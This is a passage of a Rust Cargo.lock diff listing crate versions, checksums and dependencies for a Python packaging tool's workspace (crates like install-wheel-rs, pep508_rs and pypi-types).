[ + "bytes", + "futures-channel", + "futures-core", + "futures-util", + "h2", + "http", + "http-body", + "httparse", + "httpdate", + "itoa", + "pin-project-lite", + "socket2", + "tokio", + "tower-service", + "tracing", + "want", +] + +[[package]] +name = "hyper-rustls" +version = "0.24.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ec3efd23720e2049821a693cbc7e65ea87c72f1c58ff2f9522ff332b1491e590" +dependencies = [ + "futures-util", + "http", + "hyper", + "rustls", + "tokio", + "tokio-rustls", +] + +[[package]] +name = "iana-time-zone" +version = "0.1.60" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e7ffbb5a1b541ea2561f8c41c087286cc091e21e556a4f09a8f6cbf17b69b141" +dependencies = [ + "android_system_properties", + "core-foundation-sys", + "iana-time-zone-haiku", + "js-sys", + "wasm-bindgen", + "windows-core", +] + +[[package]] +name = "iana-time-zone-haiku" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f31827a206f56af32e590ba56d5d2d085f558508192593743f16b2306495269f" +dependencies = [ + "cc", +] + +[[package]] +name = "idna" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "634d9b1461af396cad843f47fdba5597a4f9e6ddd4bfb6ff5d85028c25cb12f6" +dependencies = [ + "unicode-bidi", + "unicode-normalization", +] + +[[package]] +name = "ignore" +version = "0.4.22" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b46810df39e66e925525d6e38ce1e7f6e1d208f72dc39757880fcb66e2c58af1" +dependencies = [ + "crossbeam-deque", + "globset", + "log", + "memchr", + "regex-automata 0.4.5", + "same-file", + "walkdir", + "winapi-util", +] + +[[package]] +name = "imagesize" +version = "0.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b72ad49b554c1728b1e83254a1b1565aea4161e28dabbfa171fc15fe62299caf" + +[[package]] +name = "indexmap" +version = "1.9.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bd070e393353796e801d209ad339e89596eb4c8d430d18ede6a1cced8fafbd99" +dependencies = [ + "autocfg", + "hashbrown 0.12.3", +] + +[[package]] +name = "indexmap" +version = "2.2.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "233cf39063f058ea2caae4091bf4a3ef70a653afbc026f5c4a4135d114e3c177" +dependencies = [ + "equivalent", + "hashbrown 0.14.3", + "serde", +] + +[[package]] +name = "indicatif" +version = "0.17.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "763a5a8f45087d6bcea4222e7b72c291a054edf80e4ef6efd2a4979878c7bea3" +dependencies = [ + "console", + "instant", + "number_prefix", + "portable-atomic", + "unicode-width", + "vt100", +] + +[[package]] +name = "indoc" +version = "2.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1e186cfbae8084e513daff4240b4797e342f988cecda4fb6c939150f96315fd8" + +[[package]] +name = "insta" +version = "1.36.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0a7c22c4d34ef4788c351e971c52bfdfe7ea2766f8c5466bc175dd46e52ac22e" +dependencies = [ + "console", + "lazy_static", + "linked-hash-map", + "regex", + "serde", + "similar", + "yaml-rust", +] + +[[package]] +name = "install-wheel-rs" +version = "0.0.1" +dependencies = [ + "clap", + "configparser", + "csv", + "data-encoding", + "distribution-filename", + "fs-err", + "indoc", + "mailparse", + "once_cell", + "pathdiff", + "pep440_rs", + "platform-host", + "platform-info", + "plist", + "pypi-types", + "reflink-copy", + "regex", + "rustc-hash", + "serde", + "serde_json", + "sha2", + "tempfile", + "thiserror", + "tracing", + "tracing-subscriber", + "url", + "uv-fs", + "uv-normalize", + "walkdir", + "zip", +] + +[[package]] +name = "instant" +version = "0.1.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7a5bbe824c507c5da5956355e86a746d82e0e1464f65d862cc5e71da70e94b2c" +dependencies = [ + "cfg-if", + "js-sys", + "wasm-bindgen", + "web-sys", +] + +[[package]] +name = "ipnet" +version = "2.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8f518f335dce6725a761382244631d86cf0ccb2863413590b31338feb467f9c3" + +[[package]] +name = "is-terminal" +version = "0.4.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f23ff5ef2b80d608d61efee834934d862cd92461afc0560dedf493e4c033738b" +dependencies = [ + "hermit-abi", + "libc", + "windows-sys 0.52.0", +] + +[[package]] +name = "is_ci" +version = "1.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7655c9839580ee829dfacba1d1278c2b7883e50a277ff7541299489d6bdfdc45" + +[[package]] +name = "itertools" +version = "0.10.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b0fd2260e829bddf4cb6ea802289de2f86d6a7a690192fbe91b3f46e0f2c8473" +dependencies = [ + "either", +] + +[[package]] +name = "itertools" +version = "0.12.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ba291022dbbd398a455acf126c1e341954079855bc60dfdda641363bd6922569" +dependencies = [ + "either", +] + +[[package]] +name = "itoa" +version = "1.0.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b1a46d1a171d865aa5f83f92695765caa047a9b4cbae2cbf37dbd613a793fd4c" + +[[package]] +name = "jobserver" +version = "0.1.28" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ab46a6e9526ddef3ae7f787c06f0f2600639ba80ea3eade3d8e670a2230f51d6" +dependencies = [ + "libc", +] + +[[package]] +name = "jpeg-decoder" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f5d4a7da358eff58addd2877a45865158f0d78c911d43a5784ceb7bbf52833b0" + +[[package]] +name = "js-sys" +version = "0.3.68" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "406cda4b368d531c842222cf9d2600a9a4acce8d29423695379c6868a143a9ee" +dependencies = [ + "wasm-bindgen", +] + +[[package]] +name = "junction" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ca39ef0d69b18e6a2fd14c2f0a1d593200f4a4ed949b240b5917ab51fac754cb" +dependencies = [ + "scopeguard", + "winapi", +] + +[[package]] +name = "kurbo" +version = "0.8.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7a53776d271cfb873b17c618af0298445c88afc52837f3e948fa3fafd131f449" +dependencies = [ + "arrayvec", +] + +[[package]] +name = "kurbo" +version = "0.9.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bd85a5776cd9500c2e2059c8c76c3b01528566b7fcbaf8098b55a33fc298849b" +dependencies = [ + "arrayvec", +] + +[[package]] +name = "lazy_static" +version = "1.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e2abad23fbc42b3700f2f279844dc832adb2b2eb069b2df918f455c4e18cc646" + +[[package]] +name = "libc" +version = "0.2.153" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9c198f91728a82281a64e1f4f9eeb25d82cb32a5de251c6bd1b5154d63a8e7bd" + +[[package]] +name = "libgit2-sys" +version = "0.16.2+1.7.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ee4126d8b4ee5c9d9ea891dd875cfdc1e9d0950437179104b183d7d8a74d24e8" +dependencies = [ + "cc", + "libc", + "libssh2-sys", + "libz-sys", + "openssl-sys", + "pkg-config", +] + +[[package]] +name = "libmimalloc-sys" +version = "0.1.35" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3979b5c37ece694f1f5e51e7ecc871fdb0f517ed04ee45f88d15d6d553cb9664" +dependencies = [ + "cc", + "libc", +] + +[[package]] +name = "libredox" +version = "0.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "85c833ca1e66078851dba29046874e38f08b2c883700aa29a03ddd3b23814ee8" +dependencies = [ + "bitflags 2.4.2", + "libc", + "redox_syscall 0.4.1", +] + +[[package]] +name = "libssh2-sys" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2dc8a030b787e2119a731f1951d6a773e2280c660f8ec4b0f5e1505a386e71ee" +dependencies = [ + "cc", + "libc", + "libz-sys", + "openssl-sys", + "pkg-config", + "vcpkg", +] + +[[package]] +name = "libz-ng-sys" +version = "1.1.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c6409efc61b12687963e602df8ecf70e8ddacf95bc6576bcf16e3ac6328083c5" +dependencies = [ + "cmake", + "libc", +] + +[[package]] +name = "libz-sys" +version = "1.1.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "037731f5d3aaa87a5675e895b63ddff1a87624bc29f77004ea829809654e48f6" +dependencies = [ + "cc", + "libc", + "pkg-config", + "vcpkg", +] + +[[package]] +name = "line-wrap" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f30344350a2a51da54c1d53be93fade8a237e545dbcc4bdbe635413f2117cab9" +dependencies = [ + "safemem", +] + +[[package]] +name = "linked-hash-map" +version = "0.5.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0717cef1bc8b636c6e1c1bbdefc09e6322da8a9321966e8928ef80d20f7f770f" + +[[package]] +name = "linux-raw-sys" +version = "0.4.13" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "01cda141df6706de531b6c46c3a33ecca755538219bd484262fa09410c13539c" + +[[package]] +name = "lock_api" +version = "0.4.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3c168f8615b12bc01f9c17e2eb0cc07dcae1940121185446edc3744920e8ef45" +dependencies = [ + "autocfg", + "scopeguard", +] + +[[package]] +name = "log" +version = "0.4.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "90ed8c1e510134f979dbc4f070f87d4313098b704861a105fe34231c70a3901c" + +[[package]] +name = "mailparse" +version = "0.14.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2d096594926cab442e054e047eb8c1402f7d5b2272573b97ba68aa40629f9757" +dependencies = [ + "charset", + "data-encoding", + "quoted_printable", +] + +[[package]] +name = "matchers" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8263075bb86c5a1b1427b5ae862e8889656f126e9f77c484496e8b47cf5c5558" +dependencies = [ + "regex-automata 0.1.10", +] + +[[package]] +name = "memchr" +version = "2.7.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "523dc4f511e55ab87b694dc30d0f820d60906ef06413f93d4d7a1385599cc149" + +[[package]] +name = "memmap2" +version = "0.5.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "83faa42c0a078c393f6b29d5db232d8be22776a891f8f56e5284faee4a20b327" +dependencies = [ + "libc", +] + +[[package]] +name = "memmap2" +version = "0.9.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fe751422e4a8caa417e13c3ea66452215d7d63e19e604f4980461212f3ae1322" +dependencies = [ + "libc", +] + +[[package]] +name = "memoffset" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5a634b1c61a95585bd15607c6ab0c4e5b226e695ff2800ba0cdccddf208c406c" +dependencies = [ + "autocfg", +] + +[[package]] +name = "miette" +version = "6.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "337e1043bbc086dac9d9674983bef52ac991ce150e09b5b8e35c5a73dd83f66c" +dependencies = [ + "backtrace", + "backtrace-ext", + "miette-derive", + "owo-colors 3.5.0", + "supports-color", + "supports-hyperlinks", + "supports-unicode", + "terminal_size", + "textwrap", + "thiserror", + "unicode-width", +] + +[[package]] +name = "miette-derive" +version = "6.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "71e622f2a0dd84cbca79bc6c3c33f4fd7dc69faf992216516aacc1d136102800" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.48", +] + +[[package]] +name = "mimalloc" +version = "0.1.39" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fa01922b5ea280a911e323e4d2fd24b7fe5cc4042e0d2cda3c40775cdc4bdc9c" +dependencies = [ + "libmimalloc-sys", +] + +[[package]] +name = "mime" +version = "0.3.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6877bb514081ee2a7ff5ef9de3281f14a4dd4bceac4c09388074a6b5df8a139a" + +[[package]] +name = "mime_guess" +version = "2.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4192263c238a5f0d0c6bfd21f336a313a4ce1c450542449ca191bb657b4642ef" +dependencies = [ + "mime", + "unicase", +] + +[[package]] +name = "miniz_oxide" +version = "0.7.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9d811f3e15f28568be3407c8e7fdb6514c1cda3cb30683f15b6a1a1dc4ea14a7" +dependencies = [ + "adler", + "simd-adler32", +] + +[[package]] +name = "mio" +version = "0.8.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8f3d0b296e374a4e6f3c7b0a1f5a51d748a0d34c85e7dc48fc3fa9a87657fe09" +dependencies = [ + "libc", + "wasi", + "windows-sys 0.48.0", +] + +[[package]] +name = "miow" +version = "0.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "359f76430b20a79f9e20e115b3428614e654f04fab314482fc0fda0ebd3c6044" +dependencies = [ + "windows-sys 0.48.0", +] + +[[package]] +name = "nanoid" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3ffa00dec017b5b1a8b7cf5e2c008bfda1aa7e0697ac1508b491fdf2622fb4d8" +dependencies = [ + "rand", +] + +[[package]] +name = "nix" +version = "0.27.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2eb04e9c688eff1c89d72b407f168cf79bb9e867a9d3323ed6c01519eb9cc053" +dependencies = [ + "bitflags 2.4.2", + "cfg-if", + "libc", +] + +[[package]] +name = "normalize-line-endings" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "61807f77802ff30975e01f4f071c8ba10c022052f98b3294119f3e615d13e5be" + +[[package]] +name = "nu-ansi-term" +version = "0.46.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "77a8165726e8236064dbb45459242600304b42a5ea24ee2948e18e023bf7ba84" +dependencies = [ + "overload", + "winapi", +] + +[[package]] +name = "nu-ansi-term" +version = "0.49.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c073d3c1930d0751774acf49e66653acecb416c3a54c6ec095a9b11caddb5a68" +dependencies = [ + "windows-sys 0.48.0", +] + +[[package]] +name = "num-conv" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "51d515d32fb182ee37cda2ccdcb92950d6a3c2893aa280e540671c2cd0f3b1d9" + +[[package]] +name = "num-traits" +version = "0.2.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "da0df0e5185db44f69b44f26786fe401b6c293d1907744beaa7fa62b2e5a517a" +dependencies = [ + "autocfg", +] + +[[package]] +name = "num_cpus" +version = "1.16.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4161fcb6d602d4d2081af7c3a45852d875a03dd337a6bfdd6e06407b61342a43" +dependencies = [ + "hermit-abi", + "libc", +] + +[[package]] +name = "number_prefix" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "830b246a0e5f20af87141b25c173cd1b609bd7779a4617d6ec582abaf90870f3" + +[[package]] +name = "object" +version = "0.32.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a6a622008b6e321afc04970976f62ee297fdbaa6f95318ca343e3eebb9648441" +dependencies = [ + "memchr", +] + +[[package]] +name = "once-map" +version = "0.0.1" +dependencies = [ + "dashmap", + "tokio", +] + +[[package]] +name = "once_cell" +version = "1.19.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3fdb12b2476b595f9358c5161aa467c2438859caa136dec86c26fdd2efe17b92" + +[[package]] +name = "oorandom" +version = "11.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0ab1bc2a289d34bd04a330323ac98a1b4bc82c9d9fcb1e66b63caa84da26b575" + +[[package]] +name = "openssl-probe" +version = "0.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ff011a302c396a5197692431fc1948019154afc178baf7d8e37367442a4601cf" + +[[package]] +name = "openssl-src" +version = "300.2.3+3.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5cff92b6f71555b61bb9315f7c64da3ca43d87531622120fea0195fc761b4843" +dependencies = [ + "cc", +] + +[[package]] +name = "openssl-sys" +version = "0.9.99" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "22e1bf214306098e4832460f797824c05d25aacdf896f64a985fb0fd992454ae" +dependencies = [ + "cc", + "libc", + "openssl-src", + "pkg-config", + "vcpkg", +] + +[[package]] +name = "option-ext" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "04744f49eae99ab78e0d5c0b603ab218f515ea8cfe5a456d7629ad883a3b6e7d" + +[[package]] +name = "overload" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b15813163c1d831bf4a13c3610c05c0d03b39feb07f7e09fa234dac9b15aaf39" + +[[package]] +name = "owo-colors" +version = "3.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c1b04fb49957986fdce4d6ee7a65027d55d4b6d2265e5848bbb507b58ccfdb6f" + +[[package]] +name = "owo-colors" +version = "4.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "caff54706df99d2a78a5a4e3455ff45448d81ef1bb63c22cd14052ca0e993a3f" + +[[package]] +name = "parking" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bb813b8af86854136c6922af0598d719255ecb2179515e6e7730d468f05c9cae" + +[[package]] +name = "parking_lot" +version = "0.11.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7d17b78036a60663b797adeaee46f5c9dfebb86948d1255007a1d6be0271ff99" +dependencies = [ + "instant", + "lock_api", + "parking_lot_core 0.8.6", +] + +[[package]] +name = "parking_lot_core" +version = "0.8.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "60a2cfe6f0ad2bfc16aefa463b497d5c7a5ecd44a23efa72aa342d90177356dc" +dependencies = [ + "cfg-if", + "instant", + "libc", + "redox_syscall 0.2.16", + "smallvec", + "winapi", +] + +[[package]] +name = "parking_lot_core" +version = "0.9.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4c42a9226546d68acdd9c0a280d17ce19bfe27a46bf68784e4066115788d008e" +dependencies = [ + "cfg-if", + "libc", + "redox_syscall 0.4.1", + "smallvec", + "windows-targets 0.48.5", +] + +[[package]] +name = "paste" +version = "1.0.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "de3145af08024dea9fa9914f381a17b8fc6034dfb00f3a84013f7ff43f29ed4c" + +[[package]] +name = "pathdiff" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8835116a5c179084a830efb3adc117ab007512b535bc1a21c991d3b32a6b44dd" + +[[package]] +name = "pep440_rs" +version = "0.5.0" +dependencies = [ + "indoc", + "once_cell", + "pubgrub", + "pyo3", + "rkyv", + "serde", + "tracing", + "unicode-width", + "unscanny", +] + +[[package]] +name = "pep508_rs" +version = "0.4.2" +dependencies = [ + "derivative", + "indoc", + "log", + "once_cell", + "pep440_rs", + "pyo3", + "pyo3-log", + "regex", + "rkyv", + "serde", + "serde_json", + "testing_logger", + "thiserror", + "tracing", + "unicode-width", + "url", + "uv-fs", + "uv-normalize", +] + +[[package]] +name = "percent-encoding" +version = "2.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e3148f5046208a5d56bcfc03053e3ca6334e51da8dfb19b6cdc8b306fae3283e" + +[[package]] +name = "petgraph" +version = "0.6.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e1d3afd2628e69da2be385eb6f2fd57c8ac7977ceeff6dc166ff1657b0e386a9" +dependencies = [ + "fixedbitset", + "indexmap 2.2.3", +] + +[[package]] +name = "pico-args" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5be167a7af36ee22fe3115051bc51f6e6c7054c9348e28deb4f49bd6f705a315" + +[[package]] +name = "pin-project" +version = "1.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0302c4a0442c456bd56f841aee5c3bfd17967563f6fadc9ceb9f9c23cf3807e0" +dependencies = [ + "pin-project-internal", +] + +[[package]] +name = "pin-project-internal" +version = "1.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "266c042b60c9c76b8d53061e52b2e0d1116abc57cefc8c5cd671619a56ac3690" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.48", +] + +[[package]] +name = "pin-project-lite" +version = "0.2.13" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8afb450f006bf6385ca15ef45d71d2288452bc3683ce2e2cacc0d18e4be60b58" + +[[package]] +name = "pin-utils" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8b870d8c151b6f2fb93e84a13146138f05d02ed11c7e7c54f8826aaaf7c9f184" + +[[package]] +name = "pkg-config" +version = "0.3.30" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d231b230927b5e4ad203db57bbcbee2802f6bce620b1e4a9024a07d94e2907ec" + +[[package]] +name = "plain" +version = "0.2.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b4596b6d070b27117e987119b4dac604f3c58cfb0b191112e24771b2faeac1a6" + +[[package]] +name = "platform-host" +version = "0.0.1" +dependencies = [ + "fs-err", + "goblin", + "once_cell", + "platform-info", + "plist", + "regex", + "serde", + "target-lexicon", + "thiserror", + "tracing", +] + +[[package]] +name = "platform-info" +version = "2.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d6259c4860e53bf665016f1b2f46a8859cadfa717581dc9d597ae4069de6300f" +dependencies = [ + "libc", + "winapi", +] + +[[package]] +name = "platform-tags" +version = "0.0.1" +dependencies = [ + "platform-host", + "rustc-hash", + "thiserror", +] + +[[package]] +name = "plist" +version = "1.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e5699cc8a63d1aa2b1ee8e12b9ad70ac790d65788cd36101fa37f87ea46c4cef" +dependencies = [ + "base64 0.21.7", + "indexmap 2.2.3", + "line-wrap", + "quick-xml", + "serde", + "time", +] + +[[package]] +name = "png" +version = "0.17.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1f6c3c3e617595665b8ea2ff95a86066be38fb121ff920a9c0eb282abcd1da5a" +dependencies = [ + "bitflags 1.3.2", + "crc32fast", + "fdeflate", + "flate2", + "miniz_oxide", +] + +[[package]] +name = "poloto" +version = "19.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "164dbd541c9832e92fa34452e9c2e98b515a548a3f8549fb2402fe1cd5e46b96" +dependencies = [ + "tagu", +] + +[[package]] +name = "portable-atomic" +version = "1.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7170ef9988bc169ba16dd36a7fa041e5c4cbeb6a35b76d4c03daded371eae7c0" + +[[package]] +name = "powerfmt" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "439ee305def115ba05938db6eb1644ff94165c5ab5e9420d1c1bcedbba909391" + +[[package]] +name = "ppv-lite86" +version = "0.2.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5b40af805b3121feab8a3c29f04d8ad262fa8e0561883e7653e024ae4479e6de" + +[[package]] +name = "predicates" +version = "3.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "68b87bfd4605926cdfefc1c3b5f8fe560e3feca9d5552cf68c466d3d8236c7e8" +dependencies = [ + "anstyle", + "difflib", + "float-cmp", + "normalize-line-endings", + "predicates-core", + "regex", +] + +[[package]] +name = "predicates-core" +version = "1.0.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b794032607612e7abeb4db69adb4e33590fa6cf1149e95fd7cb00e634b92f174" + +[[package]] +name = "predicates-tree" +version = "1.0.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "368ba315fb8c5052ab692e68a0eefec6ec57b23a36959c14496f0b0df2c0cecf" +dependencies = [ + "predicates-core", + "termtree", +] + +[[package]] +name = "priority-queue" +version = "1.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a0bda9164fe05bc9225752d54aae413343c36f684380005398a6a8fde95fe785" +dependencies = [ + "autocfg", + "indexmap 1.9.3", +] + +[[package]] +name = "proc-macro2" +version = "1.0.78" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e2422ad645d89c99f8f3e6b88a9fdeca7fabeac836b1002371c4367c8f984aae" +dependencies = [ + "unicode-ident", +] + +[[package]] +name = "ptr_meta" +version = "0.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0738ccf7ea06b608c10564b31debd4f5bc5e197fc8bfe088f68ae5ce81e7a4f1" +dependencies = [ + "ptr_meta_derive", +] + +[[package]] +name = "ptr_meta_derive" +version = "0.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "16b845dbfca988fa33db069c0e230574d15a3088f147a87b64c7589eb662c9ac" +dependencies = [ + "proc-macro2", + "quote", + "syn 1.0.109", +] + +[[package]] +name = "pubgrub" +version = "0.2.1" +source = "git+https://github.com/zanieb/pubgrub?rev=aab132a3d4d444dd8dd41d8c4e605abd69dacfe1#aab132a3d4d444dd8dd41d8c4e605abd69dacfe1" +dependencies = [ + "indexmap 2.2.3", + "log", + "priority-queue", + "rustc-hash", + "thiserror", +] + +[[package]] +name = "pyo3" +version = "0.20.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "53bdbb96d49157e65d45cc287af5f32ffadd5f4761438b527b055fb0d4bb8233" +dependencies = [ + "cfg-if", + "indoc", + "libc", + "memoffset", + "parking_lot", + "portable-atomic", + "pyo3-build-config", + "pyo3-ffi", + "pyo3-macros", + "unindent", +] + +[[package]] +name = "pyo3-build-config" +version = "0.20.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "deaa5745de3f5231ce10517a1f5dd97d53e5a2fd77aa6b5842292085831d48d7" +dependencies = [ + "once_cell", + "target-lexicon", +] + +[[package]] +name = "pyo3-ffi" +version = "0.20.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "62b42531d03e08d4ef1f6e85a2ed422eb678b8cd62b762e53891c05faf0d4afa" +dependencies = [ + "libc", + "pyo3-build-config", +] + +[[package]] +name = "pyo3-log" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4c10808ee7250403bedb24bc30c32493e93875fef7ba3e4292226fe924f398bd" +dependencies = [ + "arc-swap", + "log", + "pyo3", +] + +[[package]] +name = "pyo3-macros" +version = "0.20.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7305c720fa01b8055ec95e484a6eca7a83c841267f0dd5280f0c8b8551d2c158" +dependencies = [ + "proc-macro2", + "pyo3-macros-backend", + "quote", + "syn 2.0.48", +] + +[[package]] +name = "pyo3-macros-backend" +version = "0.20.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7c7e9b68bb9c3149c5b0cade5d07f953d6d125eb4337723c4ccdb665f1f96185" +dependencies = [ + "heck", + "proc-macro2", + "pyo3-build-config", + "quote", + "syn 2.0.48", +] + +[[package]] +name = "pypi-types" +version = "0.0.1" +dependencies = [ + "chrono", + "indoc", + "insta", + "mailparse", + "once_cell", + "pep440_rs", + "pep508_rs", + "regex", + "rkyv", + "serde", + "serde_json", + "tempfile", + "test-case", + "thiserror", + "tracing", + "url", + "uv-normalize", +] + +[[package]] +name = "pyproject-toml" +version = "0.10.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3b80f889b6d413c3f8963a2c7db03f95dd6e1d85e1074137cb2013ea2faa8898" +dependencies = [ + "indexmap 2.2.3", + "pep440_rs", + "pep508_rs", + "serde", + "toml", +] + +[[package]] +name = "quick-xml" +version = "0.31.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1004a344b30a54e2ee58d66a71b32d2db2feb0a31f9a2d302bf0536f15de2a33" +dependencies = [ + "memchr", +] + +[[package]] +name = "quote" +version = "1.0.35" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "291ec9ab5efd934aaf503a6466c5d5251535d108ee747472c3977cc5acc868ef" +dependencies = [ + "proc-macro2", +] + +[[package]] +name = "quoted_printable" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "79ec282e887b434b68c18fe5c121d38e72a5cf35119b59e54ec5b992ea9c8eb0" + +[[package]] +name = "radium" +version = "0.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dc33ff2d4973d518d823d61aa239014831e521c75da58e3df4840d3f47749d09" + +[[package]] +name = "rand" +version = "0.8.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "34af8d1a0e25924bc5b7c43c079c942339d8f0a8b57c39049bef581b46327404" +dependencies = [ + "libc", + "rand_chacha", + "rand_core", +] + +[[package]] +name = "rand_chacha" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88" +dependencies = [ + "ppv-lite86", + "rand_core", +] + +[[package]] +name = "rand_core" +version = 